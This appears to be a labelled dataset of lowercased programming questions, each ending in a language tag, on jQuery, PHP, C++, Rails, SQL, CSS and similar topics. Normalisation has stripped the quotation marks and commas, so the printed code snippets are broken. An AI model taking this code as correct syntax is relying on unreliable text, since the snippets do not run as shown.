jquery click for a link but having to click twice for it to work   i have this piece of code which grabs the id and passes to the plugin call  but you have to click it twice to work any ideas    <pre><code>// let s setup the video overlay s (if any)     jquery( a.play ).on( click   function() {         var videourl = jquery(this).attr( id );         jquery( a.play ).dojovideo({                  videoid  : videourl                   videoplayer  :  youtube   // options - youtube or vimeo                  width  :  800px   // video width                  height  :  450px   // video height                  autoplay  :  true // options - true or false             });             return false     }); </code></pre>   i noticed in the plugin it  has a click function but not sure how to change this so i use mine instead as a need to get the id and pass it as i am doing.   <pre><code>jquery.fn.dojovideo = function (options) {      var settings = { // defaults          videoid  :              videoplayer  :  youtube            width  :  530px            height  :  330px            autoplay  :  false      };      return this.each(function() {                // if options exist  lets merge them       // with our default settings       if ( options ) {          $.extend(settings  options);       }      function centers(cur) {          var cur = cur;          cur.css( position   absolute );         cur.css( top   ( $(window).height() - cur.height() ) / 2+$(window).scrolltop() +  px );         cur.css( left   ( $(window).width() - cur.width() ) / 2+$(window).scrollleft() +  px );         return this;     }      $(this).click(function(){         var a=$(document).height();      var b=$(window).width();         var popuphtml =  &lt;div id= dvglobalmask &gt;&lt;/div&gt;&lt;div id= dojovideo &gt;&lt;div class= modalnav &gt;&lt;/div&gt;&lt;div id= videocontent &gt;&lt;/div&gt;&lt;/div&gt; ;         $( body ).append(popuphtml);         $( #dvglobalmask ).css({width:b height:a});         $( #dvglobalmask ).fadeto( fast  0.4);          $( #dojovideo ).css( width    settings.width);         $( #dojovideo ).css( height    settings.height);         centers($( #dojovideo ));          var autoplay = 0;         if (settings.autoplay ==  true ) {             autoplay = 1;         } else {             autoplay = 0;         }         // checks for the type of video that is being pulled.         youtubestr =  &lt;iframe width=   + settings.width +    height=   + settings.height +    src= http://www.youtube.com/embed/  + settings.videoid +   autoplay=  + autoplay +  &amp;amp;showinfo=0  frameborder= 0  allowfullscreen&gt;&lt;/iframe&gt; ;         vimeostr =  &lt;iframe src= http://player.vimeo.com/video/  + settings.videoid +   color=00adef&amp;amp;show_title=0&amp;amp;show_portrait=0&amp;amp;autoplay=  + autoplay +    width=   + settings.width +    height=   + settings.height +    frameborder= 0 &gt;&lt;/iframe&gt; ;          switch (settings.videoplayer) {             case  youtube  :                 $( #videocontent ).html($(youtubestr));             break;             case  vimeo  :                 $( #videocontent ).html($(vimeostr));             break;         }          $( #dojovideo ).show();         $( .modalnav ).show();         //$(settings.videoid).show();         });           $( .modalnav ).live( click   function(){             $( #dvglobalmask ).hide();             $( #dojovideo ).hide();             $( .modalnav ).hide();             $( #videocontent ).html(  );             $(settings.videoid).hide();         });     });      return this; } </code></pre>,jquery
how to get multidimensional array search  my array is: how can i filter by  airlinesname     <pre><code>array ( [0] =&gt; stdclass object     (         [arrival] =&gt; stdclass object             (                 [flightname] =&gt; bg                 [flightno] =&gt; 95                 [departuredate] =&gt; jul 07  18                 [departuretime] =&gt; 19:20                 [arrivaldate] =&gt; jul 07  18                 [arrivaltime] =&gt; 19:45                 [departfrom] =&gt; dac                 [arriveto] =&gt; ccu                 [flightprice] =&gt; 11935                 [flightpricecurrency] =&gt; bdt                 [bookingclass] =&gt; k                 [farebasis] =&gt; kap1bd3m                 [airlinesicon] =&gt; http://pics.avs.io/200/200/bg.png                 [airlinesname] =&gt; biman airlines                 [departurecity] =&gt; dhaka                 [arrivalcity] =&gt; kolkata                 [stoptype] =&gt; nostop                 [seatleft] =&gt; 9                 [refundmessage] =&gt;                  [farerules] =&gt; array                     (                         [0] =&gt; array                             (                                 [0] =&gt; last tkt dte                                 [1] =&gt; 14jun18                                 [2] =&gt;  - see adv purchase                             )                      )                  [duration] =&gt;                  [departairport] =&gt; dhaka / hazrat shahjalal international airport                 [departterminal] =&gt; 2                 [arriveairport] =&gt; netaji subhash chandra bose international airport                 [arriveterminal] =&gt; 3                 [maxhandbag] =&gt;                  [maxluggage] =&gt;                  [aircraft] =&gt; 738                 [hasreturn] =&gt; 1             )          [return] =&gt; stdclass object             (                 [flightname] =&gt; bg                 [flightno] =&gt; 96                 [departuredate] =&gt; jul 18  18                 [departuretime] =&gt; 20:35                 [arrivaldate] =&gt; jul 18  18                 [arrivaltime] =&gt; 22:05                 [departfrom] =&gt; ccu                 [arriveto] =&gt; dac                 [flightprice] =&gt; 11935                 [flightpricecurrency] =&gt; bdt                 [bookingclass] =&gt; k                 [farebasis] =&gt; kap1bd3m                 [airlinesicon] =&gt; http://pics.avs.io/200/200/bg.png                 [airlinesname] =&gt; biman airlines                 [departurecity] =&gt; kolkata                 [arrivalcity] =&gt; dhaka                 [stoptype] =&gt; nostop                 [seatleft] =&gt; 9                 [refundmessage] =&gt;                  [farerules] =&gt; array                     (                         [0] =&gt; array                             (                                 [0] =&gt; last tkt dte                                 [1] =&gt; 14jun18                                 [2] =&gt;  - see adv purchase                             )                      )                  [duration] =&gt;                  [departairport] =&gt; netaji subhash chandra bose international airport                 [departterminal] =&gt; 3                 [arriveairport] =&gt; dhaka / hazrat shahjalal international airport                 [arriveterminal] =&gt; 1                 [maxhandbag] =&gt;                  [maxluggage] =&gt;                  [aircraft] =&gt; 738                 [hasreturn] =&gt; 1             )      )  [1] =&gt; stdclass object     (         [arrival] =&gt; stdclass object             (                 [flightname] =&gt; ai                 [flightno] =&gt; 229                 [departuredate] =&gt; jul 07  18                 [departuretime] =&gt; 21:35                 [arrivaldate] =&gt; jul 07  18                 [arrivaltime] =&gt; 22:05                 [departfrom] =&gt; dac                 [arriveto] =&gt; ccu                 [flightprice] =&gt; 15251                 [flightpricecurrency] =&gt; bdt                 [bookingclass] =&gt; k                 [farebasis] =&gt; kap1bd3m                 [airlinesicon] =&gt; http://pics.avs.io/200/200/ai.png                 [airlinesname] =&gt; nacil air india                 [departurecity] =&gt; dhaka                 [arrivalcity] =&gt; kolkata                 [stoptype] =&gt; nostop                 [seatleft] =&gt; 9                 [refundmessage] =&gt;                  [farerules] =&gt; array                     (                         [0] =&gt; tickets are non-refundable                         [1] =&gt; array                             (                                 [0] =&gt; last tkt dte                                 [1] =&gt; 30jun18                                 [2] =&gt;  - see sales rstns                             )                      )                  [duration] =&gt;                  [departairport] =&gt; dhaka / hazrat shahjalal international airport                 [departterminal] =&gt;                  [arriveairport] =&gt; netaji subhash chandra bose international airport                 [arriveterminal] =&gt; 2                 [maxhandbag] =&gt;                  [maxluggage] =&gt;                  [aircraft] =&gt; 319                 [hasreturn] =&gt; 1             )          [return] =&gt; stdclass object             (                 [flightname] =&gt; ai                 [flightno] =&gt; 230                 [departuredate] =&gt; jul 18  18                 [departuretime] =&gt; 19:05                 [arrivaldate] =&gt; jul 18  18                 [arrivaltime] =&gt; 20:35                 [departfrom] =&gt; ccu                 [arriveto] =&gt; dac                 [flightprice] =&gt; 15251                 [flightpricecurrency] =&gt; bdt                 [bookingclass] =&gt; k                 [farebasis] =&gt; kap1bd3m                 [airlinesicon] =&gt; http://pics.avs.io/200/200/ai.png                 [airlinesname] =&gt; nacil air india                 [departurecity] =&gt; kolkata                 [arrivalcity] =&gt; dhaka                 [stoptype] =&gt; nostop                 [seatleft] =&gt; 9                 [refundmessage] =&gt;                  [farerules] =&gt; array                     (                         [0] =&gt; tickets are non-refundable                         [1] =&gt; array                             (                                 [0] =&gt; last tkt dte                                 [1] =&gt; 30jun18                                 [2] =&gt;  - see sales rstns                             )                      )                  [duration] =&gt;                  [departairport] =&gt; netaji subhash chandra bose international airport                 [departterminal] =&gt; 2                 [arriveairport] =&gt; dhaka / hazrat shahjalal international airport                 [arriveterminal] =&gt;                  [maxhandbag] =&gt;                  [maxluggage] =&gt;                  [aircraft] =&gt; 319                 [hasreturn] =&gt; 1             )      )  [2] =&gt; stdclass object     (         [arrival] =&gt; stdclass object             (                 [flightname] =&gt; 9w                 [flightno] =&gt; 273                 [departuredate] =&gt; jul 07  18                 [departuretime] =&gt; 17:20                 [arrivaldate] =&gt; jul 07  18                 [arrivaltime] =&gt; 17:50                 [departfrom] =&gt; dac                 [arriveto] =&gt; ccu                 [flightprice] =&gt; 31666                 [flightpricecurrency] =&gt; bdt                 [bookingclass] =&gt; k                 [farebasis] =&gt; kap1bd3m                 [airlinesicon] =&gt; http://pics.avs.io/200/200/9w.png                 [airlinesname] =&gt; jet airways                 [departurecity] =&gt; dhaka                 [arrivalcity] =&gt; kolkata                 [stoptype] =&gt; nostop                 [seatleft] =&gt; 9                 [refundmessage] =&gt;                  [farerules] =&gt; array                     (                         [0] =&gt; penalty applies                         [1] =&gt; array                             (                                 [0] =&gt; last tkt dte                                 [1] =&gt; 07jul18                                 [2] =&gt;  - date of origin                             )                      )                  [duration] =&gt;                  [departairport] =&gt; dhaka / hazrat shahjalal international airport                 [departterminal] =&gt;                  [arriveairport] =&gt; netaji subhash chandra bose international airport                 [arriveterminal] =&gt;                  [maxhandbag] =&gt;                  [maxluggage] =&gt;                  [aircraft] =&gt; 739                 [hasreturn] =&gt; 1             )          [return] =&gt; stdclass object             (                 [flightname] =&gt; bg                 [flightno] =&gt; 96                 [departuredate] =&gt; jul 18  18                 [departuretime] =&gt; 20:35                 [arrivaldate] =&gt; jul 18  18                 [arrivaltime] =&gt; 22:05                 [departfrom] =&gt; ccu                 [arriveto] =&gt; dac                 [flightprice] =&gt; 31666                 [flightpricecurrency] =&gt; bdt                 [bookingclass] =&gt; k                 [farebasis] =&gt; kap1bd3m                 [airlinesicon] =&gt; http://pics.avs.io/200/200/bg.png                 [airlinesname] =&gt; biman airlines                 [departurecity] =&gt; kolkata                 [arrivalcity] =&gt; dhaka                 [stoptype] =&gt; nostop                 [seatleft] =&gt; 9                 [refundmessage] =&gt;                  [farerules] =&gt; array                     (                         [0] =&gt; penalty applies                         [1] =&gt; array                             (                                 [0] =&gt; last tkt dte                                 [1] =&gt; 07jul18                                 [2] =&gt;  - date of origin                             )                      )                  [duration] =&gt;                  [departairport] =&gt; netaji subhash chandra bose international airport                 [departterminal] =&gt; 3                 [arriveairport] =&gt; dhaka / hazrat shahjalal international airport                 [arriveterminal] =&gt; 1                 [maxhandbag] =&gt;                  [maxluggage] =&gt;                  [aircraft] =&gt; 738                 [hasreturn] =&gt; 1             )      ) </code></pre>   ),php
how to  push  a word (string) to a given position in a file without overwriting the text (programming c)  i wonder how can i update an existing file  and add a word in a given position.    so let say my file looks like:   <blockquote>    this the first line in the file  </blockquote>   and i want to add the word  is   in position 6 so the file will look like:   <blockquote>    this is the first line in the file  </blockquote>   what is the best method to achieve that  what should be the fopen mode  assume my file is to big to copy to memory  or create a temporary clone    thanks!,c
in the computation of iterators  if i use an iterator which is before begin() or after end() as a operand  is its behavior defined   i tried an experiment:   <pre><code>#include &lt;iostream&gt; #include &lt;vector&gt;  int main(void) {   std::vector&lt;int&gt; a{1  2  3};   std::vector&lt;int&gt;::iterator b = a.begin();   std::vector&lt;int&gt;::iterator c = a.end();   std::vector&lt;int&gt;::iterator d = b - 1;   std::vector&lt;int&gt;::iterator e = c + 1;   std::cout &lt;&lt; true &lt;&lt; std::endl;   std::cout &lt;&lt; (d &lt; b) &lt;&lt; std::endl;   std::cout &lt;&lt; (e &gt; c) &lt;&lt; std::endl;   return 0; } </code></pre>   it outputs:   <pre><code>1 1 1 </code></pre>   but someone told me that it is behavior undefined for deque  so what do you think  thank you!,c++
rails app can no longer download a text file after upgrading to rails 3.2.11 - no file found  <em>short version</em> (tldr): <strong>the download_file script below works fine in rails 3.2.6  but does not in rails 3.2.11.</strong>    <em>long version:</em>    i used to have a nice working download text file feature  but now when i try the action  i get this:   <pre><code>this webpage is not found  no webpage was found for the web address: http://localhost:3000/file_download error 6 (net::err_file_not_found): the file or directory could not be found. </code></pre>   my routes.rb has the correct /file_download route specified. i hadn t changed anything except move my rails version up to 3.2.11. my script for downloading hadn t changed either; it s still this:   <pre><code>def download_file     filename =  my_memories.txt      file = file.open(filename   w ) # creates a new file and writes to it      current_user.memories.order( date desc ).each do |m|       # write the date  like 1/21/2012 or 1/21/2012~       file.write m.date.strftime( %m/%d/%y )       file.write  ~  unless m.exact_date       file.write   #{m.note}  if m.note       file.puts        # write the content       file.puts m.content       file.puts # extra enter     end      send_file file     file.close # important  or no writing will happen     file.delete(filename)   end </code></pre>   the error i see in my console is this:   <pre><code>error errno::enoent: no such file or directory - my_memories.txt </code></pre>   and i have looked at <a href= https://stackoverflow.com/questions/6566884/rubys-file-open-gives-no-such-file-or-directory-text-txt-errnoenoent-er >ruby&#39;s file.open gives &quot;no such file or directory - text.txt (errno::enoent)&quot; error</a> and tried that solution  but that didn t work: i would get a different error   <pre><code>private method `puts  called for #&lt;string:0x00000104551838&gt; </code></pre>   if i did   <pre><code>puts dir.pwd. </code></pre>   at the beginning of the download file method.    what could be going wrong  things worked fine up till the rails version change.    thanks in advance.,ruby-on-rails
form_for save input values to session variables  i am trying to create a compare functionality for an index of schools. currently i am using the following code which takes any checked school and adds it to the school_ids[] in the params.    in my gemfile:   <pre><code>  gem  will_paginate  </code></pre>   in my school s index.html.erb:   <pre><code>  &lt;%= form_tag compare_path  :method =&gt;  get  do %&gt;     &lt;%= submit_tag  compare  %&gt;      &lt;ul&gt;       &lt;% @schools.each do |school| %&gt;         &lt;li&gt;         &lt;%= check_box_tag school_ids[]   school.id %&gt;         &lt;%= link_to school.name  school %&gt;&lt;br&gt;         &lt;%= school.city %&gt;  &lt;%= school.state %&gt;         &lt;/li&gt;       &lt;% end %&gt;     &lt;/ul&gt;   &lt;% end %&gt; </code></pre>   in my school controller i have:   <pre><code>  def compare     @schools = school.find(params[:school_ids])   end </code></pre>   this works great as long as all of the check schools are on the same page. but since i m using will_paginate to paginate the list of schools  if i change pages  the check boxes do not persist. i m assuming i need to save to sessions somehow.,ruby-on-rails
making methods all static in class  i was told by my colleague based on one of my classes (it is an instance class) that if you have no fields in your class (backing fields)  just make all methods static in the class or make the class a singleton so that you don t have to use the keyword new for calling methods in this bl class.    i assume this is common and good practice   basic oop   i just want to see people s opinion on that.    i think basically he s saying since there s no state  no need for the methods to be instance methods.    i m not sure about making it a singleton every time as an option in this case...is that some sort of pattern or good advice he s giving me     here s the class i m talking about (please do not repost any of this code in this thread  this is private): <a href= http://www.elbalazo.net/post/class.txt  rel= noreferrer >http://www.elbalazo.net/post/class.txt</a>,c#
adhoc builds of apps with watch kit extension using diawi  i have archived my an adhoc version of my app and using itunes it installs  without error  on any of the iphones/apple watches included in the provisioning profile.    however  when i try to install the application from diawi it shows the bundle identifier of my watchkit app  e.g. myapp.com.watctchkitapp and fails installation. when looking in the iphone logs during installation it fails due to:   <blockquote>    : bundlevalidator: failed bundleidentifier:   com.myapp.watchkitapp does not match expected bundleidentifier:   com.myapp  </blockquote>   clearly they are not going to be the same. any ideas of what might be wrong,ios
submenu not working in dropdown menu css  i have made a dropdown menu with rollover image. the rollover image almost works (benedict cumberbatch is meant to turn into an otter) and a submenu to drop down (which at the moment doesn t appear).     what have i done wrong  here is the <a href= http://jsfiddle.net/b7dch/1/  rel= nofollow >jsfiddle</a>    the html >>   <pre><code>&lt;ul id= nav &gt; &lt;li&gt;&lt;a href= #  class= about &gt;&lt;img src= http://static.tumblr.com/bw1wxme/lgsmzv53i/rollover-1.jpg &gt;&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href= # &gt;1.2.1.1. sub-level-3&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href= # &gt;1.2.1.2. sub-level-3&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href= # &gt;1.2.1.3. sub-level-3&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href= # &gt;1.2.1.4. sub-level-3&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; </code></pre>   the css >>   <pre><code> #nav {  width: 100%;  float: left;  margin: 0 0 3em 0;  padding: 0;  list-style: none;  opacity:1;  }  #nav li {  float: left; }  #nav li a {   display: block;  padding: 8px 15px;  text-decoration: none;  font-weight: bold;  color: #069;  }  #nav li a:hover {  color: #c00;  background-color: #fff;  }   #nav ul { list-style-type:none; display:none;   }   #nav .about:hover {background-image:url( http://static.tumblr.com/bw1wxme/rjmmzv543/rollover-2.jpg );}  </code></pre>,css
remove table cells in html  in this example table i want to remove the borders from the bottom empty cells  tried to use in the css the <code>border-collapse:collapse;</code> but without success.   <pre><code>&lt;table id= tableid  border= 1 &gt; &lt;tr width= 80px  height= 50px &gt; &lt;td width= 80px  height= 50px &gt;asdasdasdasdasdasd&lt;/td&gt; &lt;td width= 80px  height= 50px &gt;asdasda&lt;/td&gt; &lt;td width= 80px  height= 50px &gt;sadsadasd&lt;/td&gt; &lt;td width= 80px  height= 50px &gt;sadsadasd&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td width= 80px  height= 50px &gt;sasas&lt;/td&gt; &lt;td width= 80px  height= 50px &gt;sdsadsa&lt;/td&gt; &lt;td width= 80px  height= 50px &gt;sadasd&lt;/td&gt; &lt;td width= 80px  height= 50px &gt;sdasd&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td rowspan= 2 &gt;&lt;/td&gt; &lt;td width= 80px  height= 50px &gt;asas&lt;/td&gt; &lt;td width= 80px  height= 50px &gt;aaaas&lt;/td&gt; &lt;td width= 80px  height= 50px &gt;ssssssa&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td colspan= 2 &gt;&lt;/td&gt; &lt;td width= 80px  height= 50px &gt;aaaas&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; </code></pre>,html
how to convert string to float in objective-c  i have string and i want to convert into double value. i have written code but sometimes my program is being crashed.   <pre><code>double left_operand=[operand_1 doublevalue]; </code></pre>   here <code>operand_1</code> is nsstring variable and i want to convert it into double value. sometimes above code is crashing my program (automatically closed simulator)    is above code right,objective-c
how to get a list of installed ios applications  i want to know is it possible to get a list of installed application on ios.  (in android  it is possible using package manager.)    and if it possible  how could i do     please help.,ios
loading data using load file command - delimiter  i would take data from csv file into my table. i m using command:   <pre><code>load data infile  c:\\...\\file.csv  into table table fields terminated by     ignore 1 lines; </code></pre>   the problem is that i have data as below:   <pre><code>col1 col2 col3 col4 1 name11 name21 name31 2  name21  aaa.  name22 name23 </code></pre>   first row is ok  but second not  because <code> name21  aaa. </code> is reading as two columns so i don t have <code>name23</code> in table.    any idea how can i resolve this problem,mysql
how to remove warning c4996 with gmtime and asctime  i have level 4 warning in my c++ project i want to solve it the warning is    <blockquote>    warning   1   warning c4996:  gmtime : this function or variable may be   unsafe. consider using gmtime_s instead. to disable deprecation  use   _crt_secure_no_warnings. see online help for details.        warning   2   warning c4996:  asctime : this function or variable may be   unsafe. consider using asctime_s instead. to disable deprecation  use   _crt_secure_no_warnings. see online help for details.  </blockquote>   code c++   <pre><code>time_t ltime; time(&amp;ltime); tm* gmt = gmtime(&amp;ltime);  char* asctime_remove_nl = asctime(gmt); </code></pre>,c++
how do i avoid getting a lower opacity by a div in a div   if i put things with <strong>opacity:1;</strong> in a div with <strong>opacity:0.5;</strong>  the one with <strong>opacity:1;</strong> gets an opacity of 0.5  but i don t wan t that  but i need the outside div to be 0.5 because that is a background. how do i fix this,css
setting constraint between two fields in sql  i have a table  with two columns  enter_time and leave_time  how to write a create table script that enforces the constraint leave_time > enter_time     edit: microsoft access is used,sql
webviewglue nativedestroy view  i am opening the browser at a page from my app  the code for opening the browser is one i have used many times  but in this particular case  the browser never opens.    i keep getting the following messages at the end in logcat:   <pre><code>09-27 15:41:16.624: info/activitymanager(1644): starting: intent { act=android.intent.action.view dat=http://www.nyt.com cmp=com.android.browser/.browseractivity } from pid 9332 09-27 15:41:16.634: warn/activitymanager(1644): duplicate finish request for historyrecord{4097ec10 com.test/com.test.mainscreen} 09-27 15:41:16.684: verbose/http(4606): 15326478 main requestqueue.resetwifiproxy  wifiproxy is null 09-27 15:41:16.684: error/http(4606): requestqueue.setproxyconfig  wifiproxy is null 09-27 15:41:16.784: debug/webviewglue(4606): nativedestroy view: 0x562af8 </code></pre>   this is a part of a huge app with a native library.    this is the snippet that opens the browser:   <pre><code>string aftersubmitaction =  http://www.nyt.com ;  uri uri = uri.parse(aftersubmitaction); startactivity(new intent(intent.action_view  uri)); finish(); </code></pre>,android
what is the function of an admin/user namespace controller in rails  i am new to rails and would like to know what role an admin/user namespace controller plays in an application. i m using a book  and i don t quite understand the concept  so please simplify. thanks,ruby-on-rails
day option not refresh when month is change  here my month select option html:   <pre><code>&lt;select id= cmbmonth  style= margin-right:20px; &gt;         &lt;option value= --  selected= selected &gt;--&lt;/option&gt;         &lt;option value= 1 &gt;january&lt;/option&gt;         &lt;option value= 2 &gt;february&lt;/option&gt;         &lt;option value= 3 &gt;march&lt;/option&gt;         &lt;option value= 4 &gt;april&lt;/option&gt;         &lt;option value= 5 &gt;may&lt;/option&gt;         &lt;option value= 6 &gt;june&lt;/option&gt;         &lt;option value= 7 &gt;july&lt;/option&gt;         &lt;option value= 8 &gt;august&lt;/option&gt;         &lt;option value= 9 &gt;september&lt;/option&gt;         &lt;option value= 10 &gt;october&lt;/option&gt;         &lt;option value= 11 &gt;november&lt;/option&gt;         &lt;option value= 12 &gt;december&lt;/option&gt; &lt;/select&gt; </code></pre>   day select option html:   <pre><code>&lt;select id= cmbday  style= margin-right:20px; &gt;         &lt;option value= --  selected= selected &gt;--&lt;/option&gt; &lt;/select&gt; </code></pre>   here is my jquery to control the the year  month  and date:   <pre><code>    //get year  month  and day     function daysinmonth(month year) {         var dd = new date(year  month  0);         return dd.getdate();     }      function setdaydrop(dyear  dmonth  dday) {         var year = dyear.options[dyear.selectedindex].value;         var month = dmonth.options[dmonth.selectedindex].value;         var day = dday.options[dday.selectedindex].value;          if (day ==  -- ) {             var days = (year ==  --  || month ==  -- )                   31 : daysinmonth(month year);             dday.options.length = 0;             dday.options[dday.options.length] = new option( --   -- );             for (var i = 1; i &lt;= days; i++)                 dday.options[dday.options.length] = new option(i i);         }     }      function setday() {         var year = document.getelementbyid( cmbyear );         var month = document.getelementbyid( cmbmonth );         var day = document.getelementbyid( cmbday );         setdaydrop(year month day);     }  $( #cmbmonth ).change(function() {     setday(); }); </code></pre>   this code work fine for refresh the cmbday when month is change in preload stage.    the problem is when user selected a day  and change the month again  day option is not refresh and keep on previous month of date.,jquery
how to pass session variable inside class  i have a php variable that looks like this.   <pre><code>#get the data from parameters $startdate = $_get[ startdate ];  $enddate   = $_get[ enddate ];  $fspcode   = $_get[ fspcode ];  $gl_codes  = $_get[ gl_codes ]; </code></pre>   my question is how can i pass that in a class that looks like this    <pre><code>#create class. class pdf extends fpdf {     function loaddata() {   } } </code></pre>   my target is to put those variable inside <code>function loaddata()</code>,php
sql query retrieving latest row when other columns are equal  i m having trouble figuring out the sql statement to retrieve a specific set of data. where all columns are equal except the last update date  i want the most recent. for example. <br>   <pre><code>book    author   update john    foo      1/21/2010 john    foo      1/22/2010 fred    foo2     1/21/2010 fred    foo2     1/22/2010 </code></pre>   what s the query that retrieves the most recent rows  that is  the query that returns:<br>   <pre><code>book    author   update john    foo      1/22/2010 fred    foo2     1/22/2010 </code></pre>   tia <br> steve,sql
repeater with multible <textbox> with same id  how to get the different ones   when the document loads i have a repeater with creates a couple of textfields wich in the webform have this code:   <pre><code>&lt;input type= text  id= datafieldcontrollersholder  name= datafieldcontrollersholder_&lt;%#databinder.eval(container.dataitem   datafieldid ).tostring()%&gt;  value= &lt;%#databinder.eval(container.dataitem   controllers ).tostring()%&gt;  runat= server  /&gt; </code></pre>   the problem i m having is that inside the repeater this textfield gets generated a couple of times but i don t know how to access them when i do a postback.    with the testpage i m working on right now i get two of those textfield wich looks like:   <pre><code>&lt;input name= ctl00$ctl00$contentplaceholder1$contentplaceholder3$datafieldsrepeater$ctl00$datafieldcontrollersholder  type= text  id= contentplaceholder1_contentplaceholder3_datafieldsrepeater_datafieldcontrollersholder_0  value= ;1;2;3;4;5;6 &gt; </code></pre>   and   <pre><code>&lt;input name= ctl00$ctl00$contentplaceholder1$contentplaceholder3$datafieldsrepeater$ctl01$datafieldcontrollersholder  type= text  id= contentplaceholder1_contentplaceholder3_datafieldsrepeater_datafieldcontrollersholder_1  value= ;7;8 &gt; </code></pre>   when i do the postback i know that i got two textfields and i also have the  datafieldid  that is used in the name of the textfield.    but how do i use all this to access them  i have tried  request.form[ datafieldcontrollersholder_1 ]  and  request.form[ datafieldcontrollersholder_2 ]  but that didn t work.    if i need to use the findcontrol method im not sure how to use it since theese textfields is loaded if different repeaters.    <em>sigh</em> it would be so nice if i just could use request.form...,.net
can someone tell me the difference between these two python codes  i m having a test in 2 hours  any help is appreciated  thanks in advance.       <pre><code>a=int(input( unesi a:   )) b=int(input( unesi b:   )) c=a+b print(c) </code></pre>   i do not understand what the difference is because it does the same thing.   <pre><code>d=input( unesi c:   ) e=input( unesi d:   ) f=int(d)+int(e) print(f) </code></pre>,python
how to query count(customer)  count(order) pair  assuming we have tables    <pre><code>order(customerid orderdetails...)  customer(id  customerdetails...) </code></pre>   what is the easiest way to query count(customer)xcount(order) pair      example    customer:   <pre><code>id | name --------- 1  | bob 2  | ann </code></pre>   order   <pre><code>customerid | address --------------------  1         | block1  1         | block2  1         | block1  2         | home address </code></pre>   want to get   <pre><code>customercount | ordercount --------------------------      1        |    3      1        |    1 </code></pre>,sql
$_post question in php <pre><code>public function dologin($username $password) { </code></pre>   i am getting the username and password as arguements and not using post method in my form which is in flex  its using remote object.     now how shall i recieve it down in php without using the formal way.   <pre><code>if (isset($_post[ username ]) &amp;&amp; isset($_post[ password ]))         {         $username= $_post[ username ];         $password= $_post[ password ]; </code></pre>   i did a test  and the below code works and now i need a better way to receive which is also secure.   <pre><code>if($username ==  rishi  &amp;&amp; $password ==  indian  )              {                 return  yes ;              }             else {                 return  no ;             } </code></pre>,php
compare part of the string with another string from stdlb  i m wondering if there is a function like <code>preg_match</code> in php where i can find or match a string with another string.   <pre><code>   //in array `word`       // in array `part`     backdoor          0         mark          3 (matches  market )     dvd               1         of            2 (matches  get off )     get off           2                      -1 (no match)     market            3         vd            1 (matches  dvd ) </code></pre>   i m thinking that if there is a function that can match just part of the string it would be great  but as far as i know there is only <code>strcmp</code> but that will only compare if is match or not for the whole string in which my case will always be false.,c++
array literal methods invocation and object literal methods invocation difference  in javascript  i wonder why i can do this:   <pre><code>[].slice.apply([1 2 3]  [0  2]) // returns [1  2] </code></pre>   which is as far as i understand equivalent of this:   <pre><code>array.prototype.slice.apply([1 2 3]  [0  2]); // returns [1  2] </code></pre>   but i can t do this:   <pre><code>{}.hasownproperty.apply(a  [ a ]); </code></pre>   which would allow to not type this long line:   <pre><code>object.prototype.hasownproperty.apply(a  [ a ]); // returns true or false </code></pre>   well  while i am at it  i also see that i can actually do all of these:   <pre><code>  .indexof.apply( asdasd   [ s ]); // returns 1 true.tostring.apply(true); // returns //  true  as string </code></pre>   what the deal with {}   :-) why is it special,javascript
sql when one column has duplicate rows  then select row where other column is the min value  i have this table   <pre><code>mt.id  mt.otherid  mt.name  mt.mychar  mt.type 1      10            stack      u           question    2      10            stack      d   3      30            stack      u           question  4      10            stack      u           whydownvotes  </code></pre>   and i want only  rows with id 2 and 3 returned (without using the id  otherid as parameter) and ensuring name and type are matching against parameters. and when there is a duplicate otherid = then return the row with min mychar value.  so far i have this :   <pre><code>select mt.* from mytable mt where (mt.mychar =  u  and (mt.name =  stack  and mt.type like  %question% )) or (mt.mychar =  d  and mt.name =  stack ) </code></pre>   so where otherid is 10  i want the row with min char value  d . i am going to need a subquery or group using min(mychar) ...       how do i remove the first row from the sql fiddle (without using the id):    <a href= http://sqlfiddle.com/#!9/c579a/1  rel= nofollow >http://sqlfiddle.com/#!9/c579a/1</a>    <em>edit</em> jeepers  whats with the downvotes  its clear question isn t it   there is even a sql fiddle.,sql
what does an * (star) mean in front of a css declaration   i m using the yahoo yui libraries in a project. can anyone help me understand the following css that i came across in the layout manager css:    i have been unable to figure out what the * (star) does to the declarations in the following css:   <pre><code>.yui-skin-sam .yui-layout .yui-layout-unit div.yui-layout-bd { border:1px solid #808080; border-bottom:none; border-top:none; *border-bottom-width:0; *border-top-width:0; background-color:#f2f2f2; text-align:left; } </code></pre>,css
how to speak milliseconds of silence in c# using spvoice   how to actually speak silence for x # of milliseconds and not by using thread.sleep(). i m trying to use the .speak() function in the speechlib library of an spvoice variable to speak a specific duration of silence according to a specified number of milliseconds. particularly  in the output of a .wav file wherein i am inserting periods of silence between spoken lines of text. using thread.sleep() will take an obscene amount of time to either speak or save  as i am planning to save nearly 5000 lines of spoken text to .wav with pauses in between the lines.    this is the solution i have so far:   <pre><code>        int pausea = (int)(22050.0 * ((double)pausetargettosource.value / 1000.0) * 2.0);         int pauseb = (int)(22050.0 * ((double)pauselinebreak.value / 1000.0) * 2.0);         while (             (linesource = srsource.readline()) != null &amp;&amp;             (linetarget = srtarget.readline()) != null)         {             voicesource.speak(linesource  speechvoicespeakflags.svsflagsasync);             voicesource.waituntildone(timeout.infinite);             voicesource.audiooutputstream.write(new byte[pausea]);             voicetarget.speak(linetarget  speechvoicespeakflags.svsflagsasync);             voicetarget.waituntildone(timeout.infinite);             voicesource.audiooutputstream.write(new byte[pauseb]);         } </code></pre>   where 22050.0 is the sample rate and pauselinebreak.value is the # of milliseconds. the multiplier 2.0 is for the 2-byte length of a short in the .wav data.    audiooutputstream.write simply writes the correct # of 00 s to the file for silence.,c#
